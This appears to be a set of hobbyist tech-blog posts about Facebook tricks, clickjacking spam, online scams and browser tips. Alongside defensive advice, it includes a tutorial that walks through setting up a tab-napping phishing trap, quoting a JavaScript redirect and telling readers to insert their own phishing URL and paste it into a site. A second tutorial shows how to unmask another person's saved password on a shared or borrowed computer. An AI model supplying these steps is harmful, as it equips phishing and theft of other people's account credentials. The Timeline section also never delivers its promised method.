HOW TO DISSABLE FACEBOOK TIMELINE

Facebook Timeline - is a radical new profile page design that Facebook has introduced. Facebook Timeline changes the default profile from a list of your most recent updates to a complete summary of your entire life since birth. It includes photos, videos, status updates and locations you have visited. The new Facebook profile is divided into two main columns, with a line down the middle representing the passage of time.

Earlier or late last year 2011, facebook timeline was only available to facebook users who activated this new profile design in developer mode and would deactivate it by deleting the developer application created with it.

Facebook has officially started rolling out the old classic profile view in some countries,. and it is for this reason that even the facebook users who activated timeline in developer mode would not deactivate it even after deleting the application created with it.

Unfortunately, most facebook users deslike the new timeline profile view and would rather go back to the old classic profile layout. So if you are one of those, then here is a trick that will help you dissable facebook timeline.

HOW TO KNOW WHO DELETED YOU FROM THEIR FACEBOOK FRIENDLIST | IN REATIME

As we all know, Facebook has constantly been upgrading its features, but unfortunately, facebook has some limited functions, for example, a facebook user is able to know who has accepted his or her friend request through a notification blah blaa blaaah... BUT you can not know who has unfriended you, deleted you or removed you from their friendlist.

I know most of you have come across some shared facebook status that says something like.... "Check if a friend has deleted you http://...................."  and the URL involved is always shortened.

I have Come across many of such shared links on my facebook newsfeed, well i just look at them and  Lmfao because i know that in no ways does facebook provide such a functionality, so if you come across such a link, just ignore it.. they only tend to be spammy site links or facebook applications and a shear waste of your precious time.

Now in this tutorial, am going to share with you the real way on how you can easily check and see who has removed you from their facebook friendlist in realtime. You can use the following trick on any web browser as long as you have installed a compatible script manager extension like greasemonkey. Therefore, am only going to use two common web browsers, Mozilla Firefox and Google Chrome browser.

Procedure

1. Installing The "Userscript Manager" Addon 

• For Firefox Users, Click Here and install greasemonkey addon. Greasemonkey is a user script manager that helps a user to customise the way a web page is displayed or behaves with the use of small bits of  javascript code.
• For Chrome Browser Users,. Click Here to install Tampermonkey Chrome extension. Tampermonkey is the Chrome version of greasemonkey.

2. Installing the "Unfriend Finder" Script

After installing the Userscript Manager, for Firefox or Chrome browser,..
Go to http://userscripts.org/scripts/show/58852 and click on "install" to install the "Unfriend Finder Script", then restart your browser.

Unfriend Finder script is a Javascript code that is responsible for spawning an additional Unfriends fuctionality to your facebook home page.

Now login to your facebook account, you will notice a slight difference on your home page before and after the tweak. You will be able to see a new "Unfriends Option" in the top Right bar and on the left pane just below the events link. So when somebody deletes you from their friendlist or deactivate their account, you will be able to receive a notification just like any other facebook notifications :D

Take a look at the screen shots below of Before and After the Unfriend Finder Tweak

(Click Image to Zoom)

Enjoy.. :xD

BEWARE OF THE NEW FACEBOOK SPAM | [VIDEO] Yeahh!! It happens on Live Television!

Lately, a number of Spams have hit facebook.  No matter how much secure measures facebook sets, the spammers always find their way through. Lately, i saw a new type of facebook spam continuously being posted on my timeline ( its no longer a wall when it has been updated to timeline interface). The message went like... " [VIDEO] Yeahh!! It happens on Live Television!" blaa blaah blah....... Well i knew that it was just another facebook spam. "If you receive such a link, just remove it manually from your news feed, DON'T click on the link".


Earlier, a friend of mine messaged me, asking on how he can stop the spam from spreading to all his friends timelines and walls, since it carried his name with it and the target name of his friends. In the end, it looked as if he was the one who really recommended the link to his friends.

Therefore, i decided to write this article on this latest facebook spam, and how you can stop it from spreading. First of all, these types of  spams are all examples of ClickJacking attacks, which i wrote about in my earlier article on how they are carried out.


How This Spam Malware Infects Facebook User

• You will receive a notification that a friend has shared a link, on your timeline (wall).
• when you click on the notification, it takes you to a page that is similar to the one below

• The Spam message is "[VIDEO] Yeahh!! It happens on Live Television!"
• This video title then defeats your curiosity and finally you decide to click on the link to watch the video.
• Then suddenly, you will be asked to install a plugin (fake plugin) in order to watch the video. similar to the one below.

• Just a single click on "install plugin" and its Game Over! The Spam message then spreads to all your friends timelines (walls). It will continue spamming your friend's walls for as long as you remain infected by this malware... :P

How to Disinfect Yourself from the Spam

Since the aim of this spam is to trick you into installing a fake plugin that performs malware functions onto your browser, therefore you need to remove that plugin first.

1. From your Internet's browser settings, go to the addons or Extension settings and remove or uninstall any addon with the name similar to the "Youtube Extension"

For example, for firefox users, go to your addon settings or press CTRL+SHIFT+A 

Now remove any addon with the name or icon similar to youtube extension and restart your browser. Do the same for any other browser.

2. Use Bitdefender Safego Antiscam protection. Bitdefender Safego is a facebook application and Malware Scanner that will scan your news feed and keep you away from scams like this.

3. Clear any saved browser cookies and caches on your computer. You can use eCleaner ,. and make sure to do a full scan on your computer with updated Antivirus because some of these malware tend to spread to the rest of your computer.

And lastly, NEVER click on such links that always punch your curiosity, such as;

• Shows her boobs on National TV
• Bedroom Adventures.. Amazing
• Lol Check this video out
• Look at What she did on Live TV
• You will hate Rhihana after watching this video
• Breaking news Lady Gaga found dead in hotel room [VIDEO]
• OMG! Look at this 6 year old.... [shocking]

The list is Endless, and especially on this festive season, expect more scams and spamming to come all in the name of "Christmas". Spammers always take advantage of such events. have the basic knowledge and you will know how to kick them out.  :xD

HOW TO SETUP A TAB-NAPPING SCRIPT

Tab napping is a type of  phishing scam that does not require a victim to click on any url so that he / she is redirect you to a  phishing site . Instead it relies on the fact that a lot of people use tabbed browsing (Opening multiple tabs while browsing). In a tab napping scam, one of your inactive tabs is automatically replaced by with a new tab without your knowledge. 

To know more about tab Napping, you can check my earlier article here

How to setup a Tab Napping Script

1. Create an Ordinary phisher

• First of all, you need to prepare a normal traditional phisher. In this tutorial, I will assume that you already know how to create a phishing page. If you don't know how, then go through my earlier tutorial on how to make a phisher .

2. Install the Script

• Download the Tab Napping script here
• Open the text file containing the script with a text editor like Notepad and search for the lines below;

timerPoll = setInterval("pollActivity()",1); //poll scrolling
timerRedirect =setInterval("location.href='http://username.site.com/fakepage.htm'",10000);

• Now in the above script, replace http://username.site.com/fakepage.htm with your phishing url

Note that 10000 is the default time in milliseconds, that it will take before the victim's idle tab automatically redirects to your phishing page. Therefore you can modify the idle time too.. 

10000 milliseconds = 10 seconds

• After you have edited the script, copy and paste it into the HTML of your site or blogger site

Thats it! your trap is set man!!! :xD

WHAT IS CLICKJACKING ATTACK? | HOW TO PROTECT YOURSELF

 

Recently, there has been a rash of clickjacks that led to the spread of violent and pornographic images across Facebook.According to a statement from Facebook, the attack used bait links to trick users into launching scripts that cut and pasted Javascript code into the URL, causing them to unknowingly share this offencive content. Facebook did take some steps to shut down the accounts used in the attack, and said that it reduced their frequency. however, facebook did not indicate that the attack was over.

Clickjacking is the most common technique used by the bad boys (hackers) in such attacks. In this attack, the attacker Tricks the user into revealing confidential information and other account details required to spread the attack further. So really, What is clickjacking?

Clickjacking, also known as "UI Redressing" is a Malicious script which takes over the links displayed in the Internet browser for various web pages. In such a case, the user is taken to a site which is unintended when he tries to lick on that link. Take a close look at the image below

 

From the above illustration, In other words, clickjacking is simply an embedded script or code which can trigger a button that appears to perform another function, without the user’s knowledge.

Recently, a new clickjacking tool was disclosed that allowed clickjackers to hijack your computer's camera (webcam) using adobe flash. This allows them to spy on the victim by taking pictures, streaming videos e.t.c secretly via Internet connection.

So if you are a cyberholic and your computer has a webcam, Your best defence is to place a piece of tape strategically over your camera, with this analog solution, you will never go wrong lol .

And not only the victim's webcam, adobe flash also enables clickjackers to gain access of the user’s microphone thereby gaining access to audio streaming.

In a little detail, when a user (victim) visits an unknown web page hooked with a clickjacker script, the target application waits invisibly and is loaded while it floats an invisible "allow" button on the victim's browser screen. For example, an "invisible allow" button can be embedded behind a "visible login" button. Therefore, a single click on the login button triggers the allow function that in return gives full permission to run the target application, hence you have have been clickjacked man!

Clickjacking can be fatal, it can clear all your personal data, from your computer, social security data, credit card numbers and other sensitive bank information. The malicious script is also capable of installing a number of  unwanted software, adware, spyware or even virus onto the victim's computer without his knowledge.

Below are the images of a few famous clickjacking Scams the web

1. IDEO SHOCK - Hurricane Irene New York kills All

2. OMG ..Look what this 6 year old found in her happy meal From McDonalds! [shocking]

 

3. Cheryl Cole Exposed Paparazzi Photos!

4. Breaking News Lady Gaga Found dead in Hotel room [video]

How to protect yourself from Clickjacking?

As you can see from the above images, they look as original as they can be, apparently one way to combat this would be by using a text-based browser. But that wouldn't be the case in this modern age of technology :D 

So how do you protect yourself?

Its simple, Simply dissable scripting on your browser . This can be done with the help of browser addons Such NoScript for Mozilla Firefox, NotScript for Google chrome browser e.t.c... These will block any Scripts like javascript codes from executing on your browser without your approval. So you can only whitelist trusted websites and web pages on which you want the scripts to run.

Disable scripting addon links

1. Mozilla Firefox  - Install NoScript  (Click here )

2. Google Chrome - Install NotScript (Click here )

3. Opera Browser - Install NotScript (Click here )

The above addons are the best protection you can get at the moment. Not only will they protect you against clickjacking, they'll also protect you from another Internet scam known as Tab Napping or Advanced phishing.

Stay alert,..!!! be smart :D:D:D

HOW TO IDENTIFY INTERNET FRAUD (SCAM) | PROTECT YOURSELF

What is Scam?

A "scam" is a fraudulent scheme to cheat you out of your money. This often takes the form of an advertisement -such as "help wanted," but always involves YOU (the victim) sending money to someone else -and getting NOTHING in return hence you end up losing your money. Scams may also ask you to disclose personal data -so your identity can be "stolen" too.

The internet is a very interesting place to be and can be very dangerous at the same time. People get scammed everyday and if you are new to the cyber world, the chances of you getting scammed are extremely high.

The Get Rich schemes are all over the internet. Almost all of them claim to have the secret of making money real fast at an expense of very little time & effort. Ofcourse there are some legitimate affiliate programs, like "work from home" plans and other means to earn money online in your spare time. But the real issue here is "How do i distinguish a fraudulent Website from a Legitimate Websites?"

The truth is that sometimes it becomes too difficult to tell whether a flashy and professional looking website has a real and reputable company behind it, and ofcourse there is no way to ask the Website Itself :P

Below are a few tips that will help you identify and protect yourself from Online fraud or Scam.

• A Scam Website will always make an offer that sounds too good to be true, Promises that you can win money, make money, or Get Rich Quickly.
•  Doesnt to give you the details of the offer before you make any payments.
•  Uses scare tactics or pressure, so that you act immediately. e.g "fill this form in less than 50 seconds and win yourself an ipad"
• They provide no contact information and or no physical address and may use a contact form only.
• They ussually asks for money to enter a contest e.g to win a lottary, claim a prize and they will not provide you any written information before you agree to buy or donate.
• They also request for the user's bank details, i.e credit card number. Once you give them this, you are in deep sh#t!
• Always remember to do a thorough check on your bank transactions and credit card statements when you get them. If you see a transaction that you cannot explain, immidiately report it to your credit union or bank.

 Security is for you,. Stay safe, be smart :xD

HOW TO REVEAL PASSWORD IN ASTERISK FORM (****) | ASTERISK UNMASKING |

Am very sure that we have all come across a situation where we cant reveal somebody's password (in most cases) which is in Asterisk form (****). This ussually happens when a user forgot to logout from a specific site and proberbly set their login preferences to ''Remember me''. So we can easily login to their account but we deffinately wouldnt see their password. The real picture of what am trying to say is shown in the image below

Now many of you have come across a screen like the one above, it may be from your friend's computer, your computer or from an internet cafe where somebody accidentally forgot to secure his details. But whichever the case, our main aim in this tutorial is to reveal the password behind the asterisk.

HOW TO REVEAL PASSWORD IN ASTERISK FORM

1. Google Chrome Browser

•  Simply highlight or select the asterisk password and right-click on it, then scroll down and click on ''Inspect element'' as shown below.

• A pop up box will appear on at the bottom of your browser window. see the image below

 

• Now double-click where it is lebelled ''password'' and change it to ''text'' as shown in the images below.

ScreenShot 1

 

ScreenShot 2

• After changing it, Hit Enter!!! you will be able to see the password in clear text :D

2. Opera Browser

I also tried out the same trick opera browser (Opera Next ) and it works too,.. Same method as that of Google chrome browser. Though there is a slight difference in the pop up window. See the image below..

 

3. Mozilla Firefox

As for the firefox browser, it has got no built in ''Inspect Element'' feature lolz. Therefore you will need two firefox extensions known as..

- DOM Inspector (download here )
- InspectThis (download here )

• Install both the above extensions into your firefox and restart your browser. 
• Now go to the Asterisk password, highlight and right-click on it, then scroll down your options and click on ''Inspect Element''

• Clicking on "Inspect Element" will open the "DOM Inspector" window
• In the right pane of the DOM Inspector window, double click on where it says "Type" and "Password" as shown below.

• An "Edit Attribute" pop up will open,. 

• Now change the Node Value to from "password" to "text" and hit Enter!!! .... tadaa! at this point, you will be able to see the password in clear and plain text :xD

NOTE THAT : I only used facebook as an example in the above images,. the above methods will work on any login panel of any site..
